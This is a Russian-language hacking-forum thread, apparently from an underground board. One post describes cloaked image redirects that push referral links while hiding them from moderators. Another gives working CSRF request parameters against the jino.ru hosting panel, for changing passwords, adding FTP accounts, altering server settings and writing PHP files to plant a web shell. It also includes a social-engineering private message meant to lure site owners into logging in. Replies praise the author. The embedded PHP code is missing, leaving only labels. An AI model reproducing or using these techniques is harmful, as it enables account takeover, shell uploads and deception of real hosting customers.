![]() |
Реф.ссылки в картинках + клоакинг | CSRF через IMG на примере хостинга jino.ru
============================== Реф.ссылки в картинках + клоакинг В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример: [IMG]http://*****/img_test/rotation/test.jpg[/IMG] При каждом обновлении страницы изображение меняется. Сегодня увидел этот пост: /showpost.php?p=2650247&postcount=1818 Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось: test.jpg PHP код:
Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg' Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'. Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу. Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже: adm.jpg PHP код:
.htaccess PHP код:
PHP код:
PHP код:
Первые 3 обновления страницы - переход по ссылкам, потом появится изображение: [IMG]http://*****/img_test/rotation2/test.jpg[/IMG] Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по ссылке и обновить эту страницу. ===================================== CSRF через IMG на примере хостинга jino.ru Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения CSRF-атак. Для примера возьмем известный хостинг jino.ru. Несмотря на популярность этого хостинга, опасных CSRF-уязвимостей на нем много. Панель управления хостинга находится на портах 8080(http) и 8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен login.jino.ru. В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами GET и POST (не забывайте про URL Encode) Изменение пароля area=services_chpassword do=services_chpassword oldhint= password=newpass password2=newpass Добавление FTP-аккаунта (при создании аккаунта к FTP-логину добавляется префикс "login_") area=management_ftpaccounts do=management_ftpaccountadd ftp_login=ftplogin dir=/ password=pass password2=pass Изменение пароля FTP-аккаунта area=management_ftpaccountedit do=management_ftpaccountchpass login=ftplogin old_login=ftplogin dir=/ password=newpass password2=newpass Изменение настроек веб-сервера (в запросе настройки с префиксом "default_" - обязательные, с префиксом "d_" - редактируемые) area=management_htsettings do=management_htaccesssave default_AddDefaultCharset=cp1251 default_allow_call_time_pass_reference=1 default_display_errors=1 default_magic_quotes_gpc=0 default_magic_quotes_runtime=0 default_open_basedir=1 default_output_buffering=1 default_post_max_size=15M default_register_globals=0 default_upload_max_filesize=8M d_AddDefaultCharset=cp1251 d_allow_call_time_pass_reference=1 d_display_errors=1 d_magic_quotes_gpc=0 d_magic_quotes_runtime=0 d_open_basedir=1 d_output_buffering=1 d_post_max_size=15M d_register_globals=0 d_upload_max_filesize=8M На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса. Создание файла area=filemanager_main do=filemanager_createfile path=/domains/testsite.ru filename=test.php Изменение файла do=filemanager_savefile area=filemanager_editor path=/domains/testsite.ru/test.php contents= charset=UTF-8 linebreaks=UNIX Так как все перечисленные запросы работают через GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте). Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто. Один из вариантов CSRF-атаки через IMG: В подпись ставится юзербар (userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения. Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ. Пример сообщения в ЛС Привет. Я знаю, что ты тоже пользуешься хостингом на jino. Сегодня заметил странный баг. Когда захожу в панель через сайт jino.ru, все нормально, а через mysite:8080 баланс отображается намного больше реального: [нарисованный скрин] Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через jino.ru, а потом через targetsite:8080При просмотре скрина (screen.jpg), CSRF в юзербаре активируется на IP-адрес владельца сайта. После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС. Файлы: .htaccess PHP код:
PHP код:
PHP код:
. |
молодец м_скрипт
а я думал как он это осуществляет |
сколько я не обновлял - в хроме оно вот так:
http://img163.imageshack.us/img163/6666/unledyq.th.png "битая картинка" |
ErrorNeo, в опере всё работает.
|
Цитата:
|
Отобразилась после 1 обновления в хроме. Молодец М_Скрипт
|
ОМГ. м_скрипт - злой гений
скрипта в грины. ну как минимум в жёлтых. |
в паблик
|
Цитата:
ЗЫ Сейчас серч познает всю силу открытия М_скрипта |
A-Graff, только эта тема в паблик, другие пусть еще полежат.
|
| Время: 19:54 |